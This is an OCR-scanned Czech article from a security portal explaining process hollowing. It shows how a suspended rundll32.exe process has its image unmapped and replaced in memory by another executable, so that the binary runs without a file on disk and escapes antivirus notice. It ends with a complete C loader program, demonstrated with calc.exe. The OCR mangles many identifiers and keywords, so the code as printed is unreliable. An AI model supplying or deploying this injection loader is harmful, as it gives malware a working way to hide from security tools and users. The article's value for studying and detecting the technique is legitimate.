Spoustime exe soubory z paméti
Publikovano na serveru Security-Portal.cz (https://security-portal.cz)

Spoustime exe soubory z pameéti

Vlozil/a RubberDuck [1], 11 Rijen, 2012 - 13:21

e Programming [2]

Clanek mé za Ukol popsat jednu z technik spousténi kédu bez nutnosti mit fyzicky uloZzeny soubor na
disku. Nadpis mozna vypada Silené a ¢tenar predpoklada, ze cely postup bude Sileny. Rovnou vsak
fikdm: Neni to zddna magie a tuto techniku by mél zvladdnout po precteni ¢lanku i programéator se
zékladnimi znalostmi.

Co si md Clovék predstavit pod pojmem spustit binarku bez nutnosti ulozeni na disk? Pfedné
skutec¢nost, Zze nalézt misto ulozeni takového souboru je minimalné problematické, ne-li pfimo
nerealné (zalezi na okolnostech), a Ze tady v tomto ohledu mdze antivirovy program dostat silné za
usi ;) (opet zalezi na okolnostech).

Predstavme si nasledujici situaci: Mdme spustény Internet Explorer (zaménte dle chuti za jakykoliv
vas oblibeny program). Ten se pokousi spustit cmd.exe (Ze by pokus o vykonani kédu?) nebo radsi
rundll32.exe (zifejmé potrebuje spustit néjaky kéd v dané knihovné). V bézicich procesech nasledné
skutecné vidite bézet aplikaci rundll32.exe, takze vsechno je nejspiS v naprostém poradku. OMYL! S
pomoci injekce kédu do procesu Internet Explorer (ted pomifime otazku, jak k tomu doslo) néas
vykutdleny podvodnik donutil spustit aplikaci rundll32.exe, ktera ale byla jesté pred spusténim
zameénéna za Uplné jinou, pravdépodobné Skodlivou, aplikaci. Mozna nékdo z vas bude protestovat:
Vzdyt mam firewall a proaktivni ochranu, takze si mdzu ovérit, zda se skutecné spousti rundll32.exe.
Néco podobného bych odhalil. Neni tomu tak. Kéd v Internet Exploreru v prvni fazi skutecné spousti
aplikaci rundll32.exe z jejiho klasického umisténi (C:\WINDOWS\system32\rundlI32.exe). Nejedna se
0 zaddnou prejmenovanou binarku. Ani hijacking binarky(viz napf. DLL hijacking [3]).

A co se tedy vlastné skute¢né stalo? Uto¢nikdv kéd vytvafi novy proces rundli32.exe. Ten ale pfimo
nespousti, nybrz ho udrzuje v suspendnutém stavu. Ted prijde hlavni myslenka celé techniky. Dal se
totiz chové Utoc¢niklv kdd jako zjednoduseny Windows loader (¢ti zavadéc PE soubor(l do paméti).
Loader si mizeme zjednodusené predstavit jako recepéniho v hotelu. Prijde host (binarka), jenz méa
Udajné registraci pokoje. Recep¢ni si ovéri, zda skutecné tento ¢lovék ma platnou registraci (jedna se
skutecné o PE soubor?). Pokud nem4, slusné jej odmitne (chybova hldska, ze se nejednd o legitimni
PE soubor). Pokud ma, zjisti ktery pokoj ma rezervovan (umisténi binarky v paméti). Dale se zepta,
zda ma host zavazadla (pfipadné dalsi potfebné moduly, jako napfiklad DLL knihovny). Ovéfi, zda je
pokoj pfipraven pro hosta (namapovani sekci PE souboru do paméti na prislusna mista) a odevzda
mu klice od pokoje (spusténi procesu). V redlu probiha pfi zavadéni PE souboru do paméti daleko
vice pochodl. Od mapovani Import Address Table az po vytvoreni tabulky relokaci. Pro nase Gcely
ale bude bohaté stacit to, co jsme si popsali vyse.

Zakladni véc, jenz musime udélat, je nadist do paméti binarku, kterou budeme spoustét. Pro nase

Ucely si vystacdime s klasickou kalkulackou. Ale neni problém binadrku odnékud natdhnout (webova

strédnka, FTP atd.) do paméti. Pro praci se souborem musime nejdriv tento otevrit. K tomu slouzi na
Windows funkce CreateFile.

HANDLE W NAPI Creat eFil e(

_In_ LPCTSTR | pFi | eNane,

_In_ DWORD dwDesi r edAccess,

_In_ DWORD dwShar eMode,

_In_opt_  LPSECURI TY_ATTRI BUTES | pSecurityAttri butes,
_In_ DWORD dwCr eati onDi sposi tion,

_In_ DWORD dwFl agsAndAttri butes,

_In_opt_ HANDLE hTenpl ateFil e
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Funkce vraci handle na otevfeny soubor. Abychom mohli soubor umistit do paméti, musime znat
jeho velikost. K tomu vyuzijeme funkci GetFileSize:

DWORD W NAPI Get Fi |l eSi ze(
_In_ HANDLE hFil e,
_Qut_opt _ LPDWORD | pFi |l eSi zeHi gh
)

Za predpokladu, ze se ndm povedlo jak otevreni souboru, tak zjisténi jeho velikosti, mlzeme prikrocit
k alokaci potrebného prostoru napriklad pomoci funkce VirtualAlloc:

LPVO D W NAPI Virtual Al l oc(
_In_opt_ LPVO D | pAddress,

_In_ SI ZE T dwSi ze,
_In_ DWORD f | Al l ocati onType,
_In_ DWORD f | Prot ect

)

Na konec soubor zapiseme do paméti. K témto Gc¢eldm se nejlépe hodi funkce ReadFile.

BOOL W NAPI ReadFi | e(

_In_ HANDLE hFil e,

_Qut _ LPVA D | pBuf fer,

_In_ DWORD nNunber O Byt esToRead,
_Qut_opt _ LPDWORD | pNurber O Byt esRead,

_lInout_opt_ LPOVERLAPPED | pOver | apped
)

Nyni mdme soubor v paméti a musime zkontrolovat, zda se skute¢né jedna o spustitelnou binarku.
Portable Executable format ma pevné stanoveny tvar. Prvnim identifikdtorem je tzv. DOS signatura
ulozend ve strukture IMAGE_DOS_HEADER, jenzZ je Cirou ndhodou zcela na za¢aku souboru. Tato tzv.
DOS hlavicka je prezitek z dob operacniho systému DOS a kromé prvku e_Ifanew, coz je offset
zacCatku PE hlavicky, nema vyznam se k ni déle vyjadrovat. DOS signatura mé velikost 2 bajty
(WORD) a musi obsahovat hodnotu 'MZ'(v paméti bude v obraceném poradi, tedy 0x5A4D). Takze si
deklarujeme pointer na strukturu typu IMAGE_DOS HEADER a pretypujeme adresu na alokovanou
pamét na tuto strukturu. Pripadné si vystac¢ime pouze s pretypovanim (Poznamka: Obcas neni na
Skodu se type-castovému peklu vyhnout - ¢lovék si usetfi hodiny hledani chyby). A zkontrolujeme,
zda se v souboru nachazi DOS signatura. Pfedpoklddejme, ze IpFileinMemory je adresa pocatku
paméti s jiz na¢tenym souborem:

Pl MAGE_DOS_HEADER pi DOSh = NULL;
pi DOSh = (Pl MAGE_DOS HEADER) | pFi | el nMenory;

(pi DOsh->e_magi ¢ == | MAGE_DGCS_SI GNATURE) {
/1 ano, naSli jsnme DOS signaturu
} {
/1l ne, nejedna se o PE soubor
}
nebo

(((PI MAGE_DOS_HEADER) | pFi | el nMenory) - >e_magi ¢ == | MAGE_DOS_SI GNATURE) {
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/1 ano, nasli jsnme DOS signaturu

/'l ne, nejedna se o PE soubor

Pricteme tedy offset na PE hlavi¢ku k adrese paméti, ¢imz ziskdme adresu zacatku PE hlavi¢ky. PE
hlavicka je tvorena stukturou IMAGE_NT HEADERS a je slozena z PE signatury a pointerd na dvé
struktury (IMAGE_OPTIONAL_HEADER a IMAGE_FILE_HEADER). PE signatura ma velikost 4 bajty
(DWORD) a obsahuje hodnotu 'PE\O\O' (v paméti bude v obrdceném poradi, tedy 0x00004550).

Pl MAGE_NT_HEADERS pi NTh = NULL;
pi NTh = (Pl MAGE_NT_HEADERS) ( ( DWORD) | pFi | el nMenory + ( DWORD) ( pi DOSh- >e_| f anew))

(pi NTh->Si gnat ure == | MAGE_NT_SI GNATURE) {
/'l ano, jednd se o PE soubor
} {
/'l ne, nejedna se o PE soubor
}
nebo

(( (I MAGE_NT_HEADERS) ( (DWORD) | pFi | el nMenmory  +
( DWORD) ( (Pl MAGE_DOS _HEADER) | pFi | el nMenory) - >e_nmmagi c) ) - >Si gnature ==
| MAGE_NT_SI GNATURE) {
/'l ano, jedna se o PE soubor

} {
}

/'l ne, nejedna se o PE soubor

Nyni, kdyZ jsme si ovérili, Ze se skute¢né jedna o PE soubor, mlZzeme vytvorit novy proces v
suspendovaném stavu. K tomuto Ucelu slouzi funkce CreateProcess:

BOOL W NAPI Creat eProcess(

_In_opt _ LPCTSTR | pAppl i cati onNane,

_I'nout _opt __ LPTSTR | pCommandLi ne,

_I'n_opt _ LPSECURI TY_ATTRI BUTES | pProcessAttri butes,
_In_opt _ LPSECURI TY_ATTRI BUTES | pThreadAttri but es,
_In_ BOOL bl nheri t Handl es,

_In_ DWORD dwCr eat i onFl ags,

_I'n_opt _ LPVA D | pEnvi ronnent ,

_In_opt _ LPCTSTR | pCurrentDirectory,

_In_ LPSTARTUPI NFO | pSt ar t upl nf o,

_Qut _ LPPROCESS | NFORVATI ON | pProcessl nformati on

)

Potrebujeme ziskat kontextové informace (hodnoty registrd) z hlavniho vldkna suspendovaného
procesu. K tomu slouzi funkce GetThreadContext:

BOOL W NAPI Cet Thr eadCont ext (
_In_ HANDLE hThr ead,
_lInout_ LPCONTEXT | pCont ext

)

Registr EBX ihned po vytvoreni procesu ukazuje na strukturu PEB (Process Environment Block). Tato
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struktura slouzi pro uchovavani systémovych informaci o procesu, at uz se jedna o seznamy
naloadovanych modull (hlavné DLL knihoven a samotné binarky), informace o tom, zda je proces
debuggovan, informace o heapu a tak podobné. Kromé jiného i informaci o ImageBaseAddress, coz
je adresa, na které zacind samotna binarka. Nyni mame dvé moznosti. Bud prepocitdme, zda se
image obou procesl nekrizi (pokud ano, odmapujeme binarku z paméti, pokud ne, nechdme ji v
paméti, protoze nam nijak nevadi) nebo jednoduse vzdy plvodni binarku z procesu odmapujeme.
Zde bych volil druhou moznost, protoze plvodni aplikaci nebudeme nijak vyuzivat. K tomuto tcelu
vyuzijeme funkci NtUnmapViewOfSection (druhé jméno funkce je ZwUnmapViewOfSection) z DLL
knihovny ntdll.dll:

NTSTATUS ZwUnmapVi ewdf Secti on(
In_ HANDLE ProcessHandl e,
_In_opt_ PVA D BaseAddress

)

Pomoci funkce VirtualAllocEx v suspendovaném procesu alokujeme misto pro cely image, vCetné
hlavicek. Nevyuzijeme k tomu ale velikost ziskanou pomoci funkce GetFileSize, ale hodnotu ulozenou
ve strukture IMAGE_OPTIONAL_HEADER v poli SizeOflmage, protoze ta obsahuje jiz hodnotu
zaokrouhlenou na velikost SectionAligment ze struktury IMAGE_FILE_HEADER. Ukazatele na obé tyto
struktury najdeme ve strukture IMAGE_NT_HEADERS. Kompletni hlavi¢ky zapiSeme do
suspendovaného procesu. Jejich velikost je uvedena ve strukture IMAGE_OPTIONAL HEADER v poli
SizeOfHeaders. Tato hodnota je zaokrouhlena na nasobek hodnoty dany velikosti pole FileAlignment
ve strukture IMAGE_FILE_HEADER.

Wit eProcessMenory( hSuspendProc, plnageBase, pFile, piOptional h->Si zeOf Header s,
NULL) ;

Nyni musime zapsat do procesu to hlavni. Jednotlivé sekce PE souboru. V prvé fadé si musime
uvédomit, kam budeme tyto sekce zapisovat. Sekce néasleduji hned za hlavi¢ckami, takze staci znat

velikost hlavi¢ek a k nim postupné pricitat velikost sekci. Pocet sekci je ulozen ve strukture
IMAGE_FILE_HEADER v poli NumberOfSections.

(i = 0; i < piFileh->Nunber O Sections; i++){
pi Secti onh = (Pl MAGE_SECTI ON_HEADER) ( ( DWORD) pi NTh + si zeof (| MAGE_NT_HEADERS)
+ (i * sizeof (I MAGE_SECTI ON_HEADER) ) ) ;
W iteProcessMenory( hSuspendProc, (LPVA D) ((DWORD)pl mnageBase +
pi Secti onh->Virtual Address), (LPVA D) ((DWORD)pFile + pi Secti onh->Poi nter ToRawDat a) ,
pi Secti onh->Si zeOf RawDat a, NULL) ;

}

Na konec ndm zbyvaji posledni tfi Ukony. Prvni je nastaveni hodnoty pole ImageBaseAddress ve
strukture PEB na adresu danou polem ImageBase ve strukture IMAGE_OPTIONAL_HEADER.

Wit eProcessMenory( hSuspendProc, (LPVA D)(context->Ebx + 8), &(pi Optionalh->

| mmgeBase), 4, NULL);

Druhym Ukonem je nastaveni registru EAX v kontextu na hodnotu startovni adresy (tzv. Entry Pointu)
tak, jak to je u nové vytvoreného procesu. Entry Point (EP) ziskame souctem ImageBase ze struktury
IMAGE_OPTIONAL HEADER a AddressOfEntryPoint ze stejné struktury.

cont ext - >Eax = ( DWORD) pl mageBase + pi Opti onal h- >Addr essCf Ent r yPoi nt ;

Nyni mlZzeme nastavit zpét kontext procesu pomoci funkce SetThreadContext:
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BOOL W NAPI Set Thr eadCont ext (
_In_ HANDLE hThread,
_In_ const CONTEXT *| pCont ext

)

v s v

Na zavér spustime hlavni vldkno suspendnutého procesu pomoci funkce ResumeThread, ¢imz

spustime cely proces:

DWORD W NAPI ResuneThr ead(
_In_ HANDLE hThr ead

)

Pokud vse probéhlo v poradku, méli bychom nyni vidét v bézicich procesech proces rundll32.exe,
avSak nahrazen binarkou calc.exe. Jak je z vySe popsaného jasné patrné, nejedna se v zadném
pripadé o néjakou Cernou magii nebo néco tézko pochopitelného. Staci si jen uvédomit, jak cely
proces vymeény probiha a nasledné jej realizovat. Na zdvér prikldadam ukdzkovy kéd. Uzivatel zada
cesty ke dvéma bindrkdm a program se postara o jejich spusténi.

W

MEE
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Kalkulacka bézici v kontextu rundll32.exe

Vv

V nékterém z pozdéjsich ¢lankl se pokusim popsat pokrocilejsi techniku hojné vyuZivanou jak
malwarem, tak velkym poc¢tem packerl a kompresord.

#i ncl ude <W ndows. h>
#i ncl ude <stdi o. h>

typedef LONG (W NAPI
BaseAddr ess) ;

* Nt UnmapVi ewf Sect i on) (HANDLE ProcessHandl e, PVO D

int main(int argc, char *argv[]){
HANDLE hFile = NULL;
DWORD dwRead = 0, dwSize = 0, dw nageBase =
LPVA D pBuffer = NULL, plnmageBase = NULL;
TCHAR szFi | ePat h[ 1024] ;

0, i =0;
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Pl MAGE_DOS HEADER pi DOsh = NULL;

Pl MAGE_NT_HEADERS pi NTh = NULL;

Pl MAGE_FI LE_HEADER pi Fi |l eh = NULL;

Pl MAGE_OPTI ONAL_HEADER pi Opti onal h = NULL;

Pl MAGE_SECTI ON_HEADER pi Secti onh = NULL;
PROCESS_| NFORMATI ON pi ;

STARTUPI NFQA si ;

PCONTEXT pCont ext ;

Nt UnmapVi ewdt Secti on funcNt UnnapVi ewOf Sect i on;

(argc < 3){
printf("Usage: % <path>/<origi nal.exe> <pat h>/<repl ace. exe>\n"
0;
}

Zer oMenory(&si, sizeof(si));
Zer oMenor y( &pi, sizeof (pi));

hFile = CreateFil eA(argv|[ 2],
GENERI C_READ,
FI LE_SHARE_READ,
NULL, OPEN_EXI STI NG
NULL, NULL);

(hFile !'= I NVALI D_HANDLE_VALUE) {

printf("[+] File % opened\n", argv|[2]);

dwSi ze = GetFil eSize(hFile, NULL);
printf("[+] Filesize is % bytes\n", dwSize);

pBuf fer = Virtual All oc(NULL, dwSize, MEM COW T, PAGE_READWRI TE);

(pBuffer != NULL)({

ReadFi |l e(hFile, pBuffer, dwsSize, &lwRead, NULL);
printf("[+] Wite file to nenory address %\ n", pBuffer);
pi DOSh = (Pl MAGE_DOS HEADER) pBuffer;

(pi DOSh- >e_magi ¢ == | MAGE_DOS_SI GNATURE) {

1

argv[0]);

pi NTh = (Pl MAGE_NT_HEADERS) ( ( DWORD) pBuf fer + pi DOSh->e_| f anew) ;

printf("[+] DOS signature detected\n");

(pi NTh->Si gnature == | MAGE_NT_SI GNATURE) {
printf("[+] PE signature detected\n");

pi Opti onal h = (Pl MAGE_OPTI ONAL_HEADER) &( pi NTh- >Opt i onal Header) ;

pi Fil eh = (Pl MAGE_FI LE_HEADER) &( pi NTh- >Fi | eHeader) ;
(CreateProcessA(argv[ 1], NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED,
NULL, NULL, &si, &pi)){

printf("[+] New process % created\n", argv[1l]);

pCont ext = (PCONTEXT) Virtual All oc(NULL, si zeof (pContext),
MEM COW T, PAGE_READWRI TE) ;

pCont ext - >Cont ext Fl ags = CONTEXT_FULL,;

(CGet ThreadCont ext (pi . hThread, pContext)){
printf("[+] Context obtained\n");
ReadPr ocessMenor y( pi . hProcess,
(LPCVA D) ( pCont ext - >Ebx + 8),
&dwl nageBase, 4, NULL);
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printf("[+] Current InmageBase is on address 0x% 8x\n", dw nmageBase);

funcNt UnmapVi ewdf Section =
Nt UnmapVi ewOF Sect i on( Get Pr ocAddr ess( Get Mbdul eHandl eA("ntdl [ .dIl"),

"Nt UnmapVi ewCF Secti on"));
funcNt UnmapVi ewd Secti on(pi . hProcess, (PVO D)dw nageBase);

printf("[+] I nage unmapped\n");

pl mageBase = (LPVO D) Virtual Al |l ocEx(pi.hProcess, (PVA D)
pi Opti onal h- >l mageBase,
pi Opti onal h->Si zeOf | nage,
MEM COWM T | MEM RESERVE,
PAGE_EXECUTE_READWRI TE) ;
(pl mageBase ! = NULL){
W iteProcessMenory(pi.hProcess, plnmageBase,
pBuf f er,
pi Opti onal h- >Si zeOX Header s,
NULL) ;

printf("[+] File headers are witten\n");

(i =0; i < piFileh->Nunber O Sections; i++){
pi Secti onh = (Pl MAGE_SECTI ON_HEADER) ( ( DWORD) pBuf fer +
pi DOSh- >e_| f anew +
si zeof (1 MAGE_NT_HEADERS) +
i * sizeof(
| MAGE_SECTI ON_HEADER) ) ;
WiteProcessMenory(pi.hProcess, (LPVO D) ((DWORD)pl mrageBase +
pi Secti onh->Vi rtual Addr ess),
(LPVA D) (( DWORD) pBuf fer +
pi Sect i onh- >Poi nt er ToRawDat a) ,
pi Secti onh->Si zeOf RawDat a, NULL) ;
printf("[+] Section % is witten\n", piSectionh->Nane);

}

W iteProcessMenory(pi.hProcess, (LPVO D)(pContext->Ebx + 8),
&( pi Opti onal h->I mageBase), 4, NULL);

printf("[+] New I mageBase is 0x% 8x\n", pi Optional h->] mageBase) ;
pCont ext - >Eax = ( DWORD) pl mageBase + pi Opti onal h- >Addr essCf Ent r yPoi nt ;
Set Thr eadCont ext (pi . hThread, pContext);
printf("[+] Re-set thred context\n");

ResuneThr ead( pi . hThr ead) ;
printf("[+] Thred resuned\n", argv|[2]);

Virtual Free(pBuffer, 0, MEM RELEASE);
}

O oseHandl e(hFi | e);
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}

getchar () ;

0;
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